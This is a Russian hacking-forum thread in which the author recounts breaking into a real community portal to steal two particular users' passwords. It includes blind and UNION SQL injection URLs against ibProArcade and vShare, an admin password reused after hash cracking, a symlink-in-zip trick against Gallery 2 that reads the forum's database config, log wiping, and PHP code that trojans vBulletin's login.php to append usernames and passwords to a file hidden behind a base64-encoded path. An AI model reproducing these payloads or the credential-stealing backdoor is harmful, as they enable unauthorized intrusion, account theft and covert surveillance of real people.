Старый 05.09.2010, 18:15   #1
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
Post Взлом на 3/10 [gallery.sourceforge, vb, video, ibProArcade]

В погоне за lvl-whatever решил сгенерировать контент и описать несложный взлом :)

Понадобилось мне узнать пароли пары человек; как это обычно бывает, посмотрел, где они зарегистрированы, проверив facebook, myspace, и погугля по их именам/имейлам.
Среди результатов самым обнадеживающим оказался местный (их местный :)) портал определённой тематики - зарегистрированы там оказались оба человека.
Осмотр показал: на сервере стояли форум vBulletin 3.6.х, блог WP 2.7, галерея с gallery.sourceforge.com и аналог локального ютюба.
Помимо указанного сайта на айпи сервере висело еще 50 сайтов.

Никаких готовых эксплойтов под указанные версии софта не нашлось (было бы странно обратное, все же версии не самые старые на тот момент).

1) Хождение по страничкам сайта обнаружило установленный игровой плагин ibProArcade для vBulletin. Больше всего радовала дата в копирайтах внизу странички - что-то вроде "© 2005".
Быстрый поиск выявил 2 готовых эксплойта под этот плагин, один от 2005 года (с sql injection вида id=-1 union select 1,2--) и более старый от 2008 года.
Первый не сработал, зато второй, написанный известным 1dt.w0lf из rst/ghc, оказался в самый раз: http://www.exploit-db.com/exploits/5018/
Правда совсем легко не было, т.к. плагин существовал в версиях для vBulletin и для IPB, вот к IPB и был написан эксплойт.

Иллюстрация баги:
?autocom=arcade&overwrite_sort=added&overwrite_ord er=,(-gid*(1=1))
?autocom=arcade&overwrite_sort=added&overwrite_ord er=,(-gid*(1=2))

В указанных ситуациях порядок доступных игр менялся из-за меняющегося параметра order by в итоговом запросе.
Править под vB эксплойт было лень, поэтому 2 нужных мне хэша, хэш админа и 1 хэш владельца сайта пришлось выбирать ручками :)

Запросы были вида:
arcade.php?autocom=arcade&overwrite_sort=added&ove rwrite_order=
,(-gid*(SELECT+1+FROM+user+WHERE+(userid=1+AND+ascii( substring(password,1,1))<97)+LIMIT+1))

offtop: замечу, что на сервере для каждого приложения заводились отдельные логин/бд, т.е. я не мог вытащить хэш от WP или gallery.

Потратив полтора часа, я обнаружил:
из четырех хэшей расшифрованы оказались 1 нужный мне хэш и хэш владельца сайта (но он не был администратором в vB).
Раз пароль к одному из нужных мне хэшей быстро не нашелся, целью становилось получить вебшелл, чтобы затроянить login.php vBulletin-а.

2) Идем дальше. В блоге ничего не было, галерею я вообще никогда не трогаю, т.к. багов там почти не бывает, а те что есть - несущественны по моему опыту.
На очереди стоял самописный аналог ютюба без опознавательных знаков. Разве что "Powered by Video" внизу страницы с линком до http://buyscripts.in/youtube_clone.html окажется полезным...
На сайте стало понятно, что это 10-долларовый скрипт "vShare Video Sharing Script" с сайта сборника скриптов (что уже наводит на мысль о багах).

Изучение видео-раздела подопытного сайта и игра с параметрами в url через некоторое время навели на скрипт /group_posts.php с совсем неприличной ошибкой:



После чего, как обычно, был подбор количества колонок, вывод @@ и () функций. Чтобы долго не искать в гугле был найдена варезная версия этого скрипта (возможно более старая версия) и поставлена к себе с целью просмотра структуры таблиц. Сразу проверил и увидел, что шелл не залить изнутри админки этого скрипта.

Возможно пассы окажутся полезны:
юзеры - /group_posts.php?tid=1+union+select+1,2,3,4,concat( username,0x3a,email,0x3a,pwd),6,7+from+signup+limi t+0,1--
админ - /group_posts.php?tid=-1+union+select+1,2,3,4,svalue,6,7+from+sconfig+whe re+soption="admin_pass"+limit+0,1--

Бага возможна актуальна и в текущих версиях: ну то есть перед вами мега 0day и priv8 :)))

Хэши - простые мд5, админский довольно быстро был подобран, однако пароль не подошел к хэшу от vBulletin. Значит админ не совсем плох.
С замиранием :) вбиваем этот пасс в админке WP: не подходит... Остается разве что попробовать бесполезную админку gallery: и к ней тоже не подходит.
Админ оказался совсем не так прост.

3) Оставалось только посмотреть другие сайты на этом сервере. Беглый осмотр выявил в массе своей пустые сайты с почти нулевой посещаемостью, где стояли разнообразные версии (часто с дефолтовым оформлением) joomla, wordpress, vBulletin. Несмотря на обилие версий (был и старенький уязвимый WP), известные баги были либо прикрыты, либо условия были такие, что эксплойты не работали.
Пытался логиниться с полученным из 2го пункта админским паролем - неудачно.
Просмотр хуизов к сайтам привел к мысли (которая позже подтвердилась), что все эти сайты хостятся на дедике админа, и большая часть пустых сайтов создана им самим, как для тестов, так и с целью раскрутить их.

На одном из этих сайтов также был обнаружен теперь уже любимый "vShare Video Sharing Script", - уже знакомый запрос и на руках новый админский хэш.
Прогоняем по словарям, брутим, добавляем на hashcracking.info - ничего.
На некоторое время я забыл об этом сайте, к тому же без пароля больше нечего было делать. // Кстати через месяца 4 или 5 пароль к этому хэшу был все-таки подобран кем-то на указанном выше сервисе, правда уже было поздно :)

Через месяц или два снова захожу на сайт с vShare Video, где взял последний хэш: на первой же странице с видеороликами вижу, что добавилось несколько новых юзеров (похоже сайт не такой уж дохлый, как я думал, и админ его тестит и привлекает людей), снова смотрю хэш юзеров и админа, вижу, что админский хэш изменился. Заряжаю таблицы на loweralpha_digits_1-8 - есть пасс, и он новый! Позже выяснилось, что у админа оказалось несколько паролей с разными модификаторами к ним.
Но даже этот пасс не подошел ни к WP, ни к vBulletin целевого сайта.

4) Пробуем сайты пустышки, которых много на этом сервере: вбиваем пасс в разные vBulletin, и на втором или третьем вхожу в админку! Далее льем шелл и мы внутри:

ядро свежее, а наш id=имя_текущего_сайта :(((

А в /etc/passwd куча вот таких строк:
macbeth:x:542:542::/home/macbeth:/bin/bash

И, соотвественно, на все директории в /home права на просмотр есть только у юзера-владельца.
Поэтому, чтобы затроянить целевой сайт, нужно залить шелл через него самого, иначе - никак.

5) От отчаяния попробовал войти в админку gallery целевого сайта с паролем, полученным в (3), - на удивление вошел!
Правда, толку от этого мало, авторы этой галереи очень заботятся о безопасности, ни шелла не залить, ни дамп БД сделать, ничего.
Единственная чуточку полезная информация есть в Maintenance > System information:

Код:
Gallery version = 2.2.2 core 1.2.0.4 
 PHP version = 5.2.4-2ubuntu5.6 cgi-fcgi 
 Webserver = lighttpd/1.4.19 
 Database = mysqli 5.0.51a-3ubuntu5.1, lock.system=flock 
 Toolkits = ArchiveUpload, Exif, Getid3, LinkItemToolkit, Thumbnail, Gd 
 Acceleration = none, none 
 Operating system = Linux myserver 2.6.24-16-generic #1 SMP Thu Apr 10 13:23:42 UTC 2008 i686 
...
Без особой надежды зашел на сайт gallery.sourceforge.com, поискать - может были баги закрыты в последующих версиях.

У нас 2.2.2, поищем release notes более новых:
2.2.3 - там баги с WebDAV, неинтересно;
2.2.4 - не очень интересно;
2.2.5 - в описании сразу написано This release fixes critical security issues, no new features have been added. Users of all previous Gallery 2 versions are strongly encouraged to upgrade to version 2.2.5 as soon as possible!

Радует! Какие баги, что все так серьезно?
Цитата:
* XSS through host and path component of request URL - The complete request URL is now properly sanitized (applying the same input filtering as for all other inputs). This severe vulnerability affects all modules.
* Information disclosure in album-select module - Fixed exposure of album titles through the album-select module when a guest would add a new album to a hidden album.
* Permission escalation through zip archive extraction - No longer creating sub-albums when adding items from a zip archive if the active user does not have the necessary permission to do so.
* Information disclosure through embed.php - embed.php is no longer susceptible to spoofing the remote address and thus no longer discloses the local filesystem path of the Gallery 2 installation folder.
* View permissions not enforced for password protected items - No longer offering the option to protect non-album items directly and only offering the feature for albums since full protection only applies to the items within the album.
Вот, Permission escalation through zip archive extraction, - я люблю эскалацию :)

Конечно, кроме куцых строчек описания ничего нет, но ведь это опенсорс, можно самому посмотреть.
Качаем update-2.2.4-to-2.2.5.zip, чтобы узнать что пофиксили, внутри открываем файл changed-files-archiveupload.zip (понятно почему) и кладем рядом с полным дистрибутивом версии 2.2.4.
Из апдейта распаковали:

\modules
\modules\archiveupload
\modules\archiveupload\classes
\modules\archiveupload\test
\modules\archiveupload\MANIFEST
\modules\archiveupload\module.inc
\modules\archiveupload\classes\ArchiveExtractToolk it.class
\modules\archiveupload\test\phpunit
\modules\archiveupload\test\phpunit\ArchiveExtract ToolkitTest.class

Сравнивая эти файлы с ними же, но в составе 2.2.4, находим \modules\archiveupload\classes\ArchiveExtractToolk it.class, в котором поменялась функция _pruneDirectory:



Видно, что теперь они стали удалять симлинки из файлов архива. Хм. Очевидно, что при работе модуля происходит перемещение файла по симлинку в паблик-доступ. Попробуем у себя.

Смотрим zip -h:
-y store symbolic links as the link instead of the referenced file // сохранять в архиве симлинк, а не файл, на который он указывает

Создаем файлы:
Код:
synq@synq-desktop:/var/www/gallery2$ ls -la /tmp/baby
-rwxrwxrwx 1 synq synq 7237 2010-09-04 21:12 /tmp/baby

synq@synq-desktop:/var/www/gallery2$ ln -s /tmp/baby zzz
synq@synq-desktop:/var/www/gallery2$ zip -y z.zip zzz
  adding: zzz (stored 0%)
synq@synq-desktop:/var/www/gallery2$ ls -la z*
-rw-r--r-- 1 synq synq 147 2010-09-04 21:13 z.zip
lrwxrwxrwx 1 synq synq   9 2010-09-04 21:12 zzz -> /tmp/baby
Вот так положили в архив z.zip файл zzz, который является симлинком на /tmp/baby.
Пытаемся теперь добавить этот архив (по идее :) с картинками) в нашу галерею: Add Items > From Web Browser и загружаем z.zip. В результате ошибка:



Похоже не хватает прав. Так, у меня ведь в системе веб-сервер работает от отдельного юзера www-data, может он только принадлежащие ему файлы может читать и перемещать по симлинкам (именно такая ситуация на интересующем нас сервере - веб-сервер работает из-под id владельца каталога)? Сменим тогда владельца:

Код:
synq@synq-desktop:/var/www/gallery2$ sudo chown www-data /tmp/baby
synq@synq-desktop:/var/www/gallery2$ ls -la /tmp/baby
-rwxrwxrwx 1 www-data synq 7237 2010-09-04 21:12 /tmp/baby
Снова аплоадим тот же zip-файл (его не нужно менять, т.к. симлинк не поменялся). Теперь успешно. Щелкаем по файлу, выбираем download file, и смотрим содержимое. Да, там содержимое нашего /tmp/baby. Yes!



Теперь к нашему серверу, раз галерея в /gallery/, а форум имеет путь /forum/, то конфиг vB (хотя можно было бы и конфиг WP взять) лежит относительно галереи по пути ../forum/includes/config.php
Код:
synq@synq-desktop:/var/www/gallery2$ ln -s ../forum/includes/config.php poison
synq@synq-desktop:/var/www/gallery2$ zip -y newz.zip poison
  adding: poison (stored 0%)
И этот файл newz.zip заливаем на наш сервер, в итоге удачно получаем файл poison, после скачивания которого внутри находим переменные для подключения к БД vBulletin.

happy end)
Далее всё стандартно: подключились к этой базе через шелл на этом сервере, полученный в (4), поменяли ненадолго хэш администратора целевого сайта, затем уже залили новый шелл через этот vBulletin, хэш поменяли обратно, логи почистили.
C уже нового шелла был протроянен login.php:
PHP код:
$Login $_POST['vb_login_username']; $Passwd $_POST['vb_login_password']; 
$supavar=base64_decode("L2hvbWUvbmFzaHNpdGUvcHVibGljX2h0bWwvbmV3cy93cC1jb250ZW50L3RoZW1lcy9jbGFzc2ljL3NpZGViYXIuY3Nz");
if(
is_writable($supavar))
@
fwrite(fopen($supavar,"a"),"$Login:$Passwd\n"); 
Через пару месяцев (и 2 десятка отправленных ЛС :)) нужный человек залогинился и его пасс (небрутабельный) стал известен. Также стал известен пасс админа (который оказался 10 символов mixalpha+digits+special).


SynQ, released on rdot.org
SynQ вне форума   Ответить с цитированием
Старый 25.11.2010, 08:06   #2
Ctacok
 
Аватар для Ctacok
 
Регистрация: 06.07.2010
Сообщений: 127
Репутация: 49
По умолчанию

ИМХО, тема хека не раскрыта, нечего сверхнеебического здесь ненайдено. Обычно приходиться больше делать.
__________________
Twitter - @Ctacok
Ctacok вне форума   Ответить с цитированием
Старый 26.11.2010, 12:20   #4
asddas
 
Аватар для asddas
 
Регистрация: 04.08.2010
Сообщений: 153
Репутация: 161
По умолчанию

Цитата:
нечего сверхнеебического здесь ненайдено
Сверхнеебическое палить вряд ли кто-то будет
asddas вне форума   Ответить с цитированием
Ответ

Метки
gallery, hack, vbulletin

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot